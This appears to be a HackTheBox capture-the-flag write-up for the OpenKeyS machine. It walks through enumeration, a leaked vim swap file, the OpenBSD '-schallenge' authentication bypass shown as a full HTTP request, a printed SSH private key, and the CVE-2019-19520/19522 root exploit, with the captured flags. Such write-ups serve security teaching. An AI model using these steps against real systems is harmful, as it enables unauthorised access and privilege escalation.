HackTheBox-Machines-OpenKeyS
User flag
Services
Nmap discovers 2 services:
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.1 (protocol 2.0) | ssh-hostkey: | 3072 5e:ff:81:e9:1f:9b:f8:9a:25:df:5d:82:1a:dd:7a:81 (RSA) | 256 64:7a:5a:52:85:c5:6d:d5:4a:6b:a7:1a:9a:8a:b9:bb (ECDSA) |_ 256 12:35:4b:6e:23:09:dc:ea:00:8c:72:20:c7:50:32:f3 (ED25519) 80/tcp open http OpenBSD httpd |_http-title: Site doesn't have a title (text/html).
Port 80
Let’s start with HTTP. The main page (http://openkeys.htb/index.php) is an authentication form, and providing common credentials (admin:admin
, adm:adm
, admin:password
) fails.
There is no robots.txt
file but enumerating with gobuster
reveals the presence of an interesting /includes
directory.
kali@kali:/data/OpenKeyS$ gobuster dir -u http://openkeys.htb -w /usr/share/wordlists/dirb/common.txt =============================================================== Gobuster v3.0.1 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_) =============================================================== [+] Url: http://openkeys.htb [+] Threads: 10 [+] Wordlist: /usr/share/wordlists/dirb/common.txt [+] Status codes: 200,204,301,302,307,401,403 [+] User Agent: gobuster/3.0.1 [+] Timeout: 10s =============================================================== 2020/09/19 10:30:27 Starting gobuster =============================================================== /css (Status: 301) /fonts (Status: 301) /images (Status: 301) /includes (Status: 301) /index.php (Status: 200) /index.html (Status: 200) /js (Status: 301) /vendor (Status: 301) =============================================================== 2020/09/19 10:31:14 Finished ===============================================================
auth.php.swp
The /includes
directory allows files listing and reveals the presence of auth.php.swp
, which is a vim swap file. Dumping the strings of this file discloses a username: jennifer
.
kali@kali:/data/OpenKeyS/files$ strings auth.php.swp | head b0VIM 8.1 jennifer openkeys.htb /var/www/htdocs/includes/auth.php 3210 #"! session_start(); session_destroy(); session_unset(); function close_session()
Besides, we can recover its content using vim -r auth.php.swp
. Below is the recovered code for auth.php
:
<?php
function authenticate($username, $password)
{
$cmd = escapeshellcmd("../auth_helpers/check_auth " . $username . " " . $password);
system($cmd, $retcode);
return $retcode;
}
function is_active_session()
{
// Session timeout in seconds
$session_timeout = 300;
// Start the session
session_start();
// Is the user logged in?
if(isset($_SESSION["logged_in"]))
{
// Has the session expired?
$time = $_SERVER['REQUEST_TIME'];
if (isset($_SESSION['last_activity']) &&
($time - $_SESSION['last_activity']) > $session_timeout)
{
close_session();
return False;
}
else
{
// Session is active, update last activity time and return True
$_SESSION['last_activity'] = $time;
return True;
}
}
else
{
return False;
}
}
function init_session()
{
$_SESSION["logged_in"] = True;
$_SESSION["login_time"] = $_SERVER['REQUEST_TIME'];
$_SESSION["last_activity"] = $_SERVER['REQUEST_TIME'];
$_SESSION["remote_addr"] = $_SERVER['REMOTE_ADDR'];
$_SESSION["user_agent"] = $_SERVER['HTTP_USER_AGENT'];
$_SESSION["username"] = $_REQUEST['username'];
}
function close_session()
{
session_unset();
session_destroy();
session_start();
}
?>
The PHP script makes use of /auth_helpers/check_auth
to authenticate users, and we can download the file (http://openkeys.htb/check_auth), which is an OpenBSD shared object.
kali@kali:/data/OpenKeyS/files$ file check_auth check_auth: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /usr/libexec/ld.so, for OpenBSD, not stripped
Bypass the OpenBSD authentication
The target is running OpenBSD, and is vulnerable to an authentication bypass:
“The authentication bypass vulnerability automatically waves through anyone accessing via the password option with the username -schallenge, because the hyphen forces the operating system to interpret the word as a command line option for the program performing the authentication. The -schallenge option automatically grants the user access.” (Source: https://nakedsecurity.sophos.com/2019/12/06/openbsd-devs-patch-authentication-bypass-bug/)
Providing the authentication form with the below credentials allows to bypass the authentication:
- username:
-schallenge
- password:
password
Intercept the request in BurpSuite and append ;username=jennifer
to the Cookie string as follows:
POST /index.php HTTP/1.1 Host: openkeys.htb User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://openkeys.htb/index.php Content-Type: application/x-www-form-urlencoded Content-Length: 38 Connection: close Cookie: PHPSESSID=0o81sncv41hajou555d6lnfi5q;username=jennifer Upgrade-Insecure-Requests: 1 username=-schallenge&password=password
Jennifer’s SSH private key
Forward the requests in BurpSuite and you will be redirected to /sshkey.php
with Jennifer’s SSH private key:
OpenSSH key for user jennifer -----BEGIN OPENSSH PRIVATE KEY----- b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn NhAAAAAwEAAQAAAYEAo4LwXsnKH6jzcmIKSlePCo/2YWklHnGn50YeINLm7LqVMDJJnbNx OI6lTsb9qpn0zhehBS2RCx/i6YNWpmBBPCy6s2CxsYSiRd3S7NftPNKanTTQFKfOpEn7rG nag+n7Ke+iZ1U/FEw4yNwHrrEI2pklGagQjnZgZUADzxVArjN5RsAPYE50mpVB7JO8E7DR PWCfMNZYd7uIFBVRrQKgM/n087fUyEyFZGibq8BRLNNwUYidkJOmgKSFoSOa9+6B0ou5oU qjP7fp0kpsJ/XM1gsDR/75lxegO22PPfz15ZC04APKFlLJo1ZEtozcmBDxdODJ3iTXj8Js kLV+lnJAMInjK3TOoj9F4cZ5WTk29v/c7aExv9zQYZ+sHdoZtLy27JobZJli/9veIp8hBG 717QzQxMmKpvnlc76HLigzqmNoq4UxSZlhYRclBUs3l5CU9pdsCb3U1tVSFZPNvQgNO2JD S7O6sUJFu6mXiolTmt9eF+8SvEdZDHXvAqqvXqBRAAAFmKm8m76pvJu+AAAAB3NzaC1yc2 EAAAGBAKOC8F7Jyh+o83JiCkpXjwqP9mFpJR5xp+dGHiDS5uy6lTAySZ2zcTiOpU7G/aqZ 9M4XoQUtkQsf4umDVqZgQTwsurNgsbGEokXd0uzX7TzSmp000BSnzqRJ+6xp2oPp+ynvom dVPxRMOMjcB66xCNqZJRmoEI52YGVAA88VQK4zeUbAD2BOdJqVQeyTvBOw0T1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v2vl1X/Jy/assyr80KFC9Eo1DTah2TLnJZJpuJjENS4AAADBAM0xIVEJZWEdWGOg G1vwKHWBI9iNSdxn1c+SHIuGNm6RTrrxuDljYWaV0VBn4cmpswBcJ2O+AOLKZvnMJlmWKy Dlq6MFiEIyVKqjv0pDM3C2EaAA38szMKGC+Q0Mky6xvyMqDn6hqI2Y7UNFtCj1b/aLI8cB rfBeN4sCM8c/gk+QWYIMAsSWjOyNIBjy+wPHjd1lDEpo2DqYfmE8MjpGOtMeJjP2pcyWF6 CxcVbm6skasewcJa4Bhj/MrJJ+KjpIjQAAAMEAy/+8Z+EM0lHgraAXbmmyUYDV3uaCT6ku Alz0bhIR2/CSkWLHF46Y1FkYCxlJWgnn6Vw43M0yqn2qIxuZZ32dw1kCwW4UNphyAQT1t5 eXBJSsuum8VUW5oOVVaZb1clU/0y5nrjbbqlPfo5EVWu/oE3gBmSPfbMKuh9nwsKJ2fi0P bp1ZxZvcghw2DwmKpxc+wWvIUQp8NEe6H334hC0EAXalOgmJwLXNPZ+nV6pri4qLEM6mcT qtQ5OEFcmVIA/VAAAAG2plbm5pZmVyQG9wZW5rZXlzLmh0Yi5sb2NhbAECAwQFBgc= -----END OPENSSH PRIVATE KEY----- Back to login page
Save the private key as jennifer.key
, give it the appropriate privileges (chmod 600 jennifer.key
) and connect:
kali@kali:/data/OpenKeyS/files$ ssh -i jennifer.key [email protected] Last login: Sat Sep 19 10:52:50 2020 from 10.10.17.123 OpenBSD 6.6 (GENERIC) #353: Sat Oct 12 10:45:56 MDT 2019 Welcome to OpenBSD: The proactively secure Unix-like operating system. Please use the sendbug(1) utility to report bugs in the system. Before reporting a bug, please try to reproduce it with the latest version of the code. With bug reports, please try to ensure that enough information to reproduce the problem is enclosed, and if a known fix for it exists, include that as well. openkeys$ id uid=1001(jennifer) gid=1001(jennifer) groups=1001(jennifer), 0(wheel)
User flag
The user flag is in Jennifer’s home directory:
openkeys$ cat user.txt 36ab21239a15c537bde90626891d2b10
User flag: 36ab21239a15c537bde90626891d2b10
Root flag
CVE-2019-19520
Using uname -a
, we can see that the target is running OpenBSD v6.6.
openkeys$ uname -a OpenBSD openkeys.htb 6.6 GENERIC#353 amd64
Searching for privilege escalation exploits affecting this release of OpenBSD leads to CVE-2019-19520:
“xlock in OpenBSD 6.6 allows local users to gain the privileges of the auth group by providing a LIBGL_DRIVERS_PATH environment variable, because xenocara/lib/mesa/src/loader/loader.c mishandles dlopen.” (Source: https://nvd.nist.gov/vuln/detail/CVE-2019-19520)
An exploit can be downloaded here. Let’s uplaod it to the target:
kali@kali:/data/OpenKeyS/files$ scp -i jennifer.key openbsd-authroot [email protected]:/tmp
And run it on the target:
openkeys$ cd /tmp/ openkeys$ chmod +x openbsd-authroot openkeys$ ./openbsd-authroot openbsd-authroot (CVE-2019-19520 / CVE-2019-19522) [*] checking system ... [*] system supports S/Key authentication [*] id: uid=1001(jennifer) gid=1001(jennifer) groups=1001(jennifer), 0(wheel) [*] compiling ... [*] running Xvfb ... [*] testing for CVE-2019-19520 ... _XSERVTransmkdir: ERROR: euid != 0,directory /tmp/.X11-unix will not be created. [+] success! we have auth group permissions WARNING: THIS EXPLOIT WILL DELETE KEYS. YOU HAVE 5 SECONDS TO CANCEL (CTRL+C). [*] trying CVE-2019-19522 (S/Key) ... Your password is: EGG LARD GROW HOG DRAG LAIN otp-md5 99 obsd91335 S/Key Password: openkeys# id uid=0(root) gid=0(wheel) groups=0(wheel), 2(kmem), 3(sys), 4(tty), 5(operator), 20(staff), 31(guest)
Root flag
We are now able to get the root flag:
openkeys# cat /root/root.txt f3a553b1697050ae885e7c02dbfc6efa
Root flag: f3a553b1697050ae885e7c02dbfc6efa
Comments
Keywords: ctf hackthebox HTB openkeys openbsd authentication bypass CVE-2019-19520